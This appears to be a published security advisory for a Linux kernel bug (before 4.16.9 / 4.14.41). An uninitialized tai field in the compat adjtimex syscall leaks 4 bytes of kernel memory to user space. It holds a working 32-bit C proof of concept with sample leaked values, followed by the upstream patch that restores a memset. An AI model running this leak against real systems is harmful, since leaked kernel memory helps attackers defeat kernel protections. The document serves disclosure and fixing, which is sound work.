Linux < 4.16.9 / < 4.14.41 - 4-byte Infoleak via Uninitialized Struct Field in compat adjtimex Syscall

/*
Commit 3a4d44b61625 ("ntp: Move adjtimex related compat syscalls to native
counterparts") removed the memset() in compat_get_timex(). Since then, the
compat adjtimex syscall can invoke do_adjtimex() with an uninitialized
->tai. If do_adjtimex() doesn't write to ->tai (e.g. because the arguments
are invalid), compat_put_timex() then copies the uninitialized ->tai field
to userspace.

Demo:


$ cat leak_32.c
*/

#include <sys/timex.h>
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <err.h>

/* from include/linux/timex.h */
#define ADJ_ADJTIME 0x8000

int main(void) {
  struct timex tx;
  memset(&tx, 0, sizeof(tx));
  tx.modes = ADJ_ADJTIME; /* invalid, causes early bailout */
  int res = adjtimex(&tx);
  assert(res == -1 && errno == EINVAL);
  printf("0x%08x\n", (unsigned int)tx.tai);
  return 0;
}

/*
$ gcc -o leak_32 leak_32.c -Wall -m32
$ for i in {0..10}; do sleep 1; ./leak_32; done
0x01a300b0
0x0be8f6f0
0x0610d5f0
0x01fa0170
0x0bf05670
0x0bf05670
0x0610d5f0
0x0610cd70
0x0610d5f0
0x0610d5f0


Fixed in master: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a0b98734479aa5b3c671d5190e86273372cab95


Fix it by adding the memset() back.

Fixes: 3a4d44b61625 ("ntp: Move adjtimex related compat syscalls to native counterparts")
Signed-off-by: Jann Horn <[email protected]>
---
 kernel/compat.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/kernel/compat.c b/kernel/compat.c
index 6d21894806b4..92d8c98c0f57 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -34,6 +34,7 @@ int compat_get_timex(struct timex *txc, const struct compat_timex __user *utp)
 {
 	struct compat_timex tx32;
 
+	memset(txc, 0, sizeof(struct timex));
 	if (copy_from_user(&tx32, utp, sizeof(struct compat_timex)))
 		return -EFAULT;
 
-- 
2.17.0.441.gb46fe60e1d-goog
*/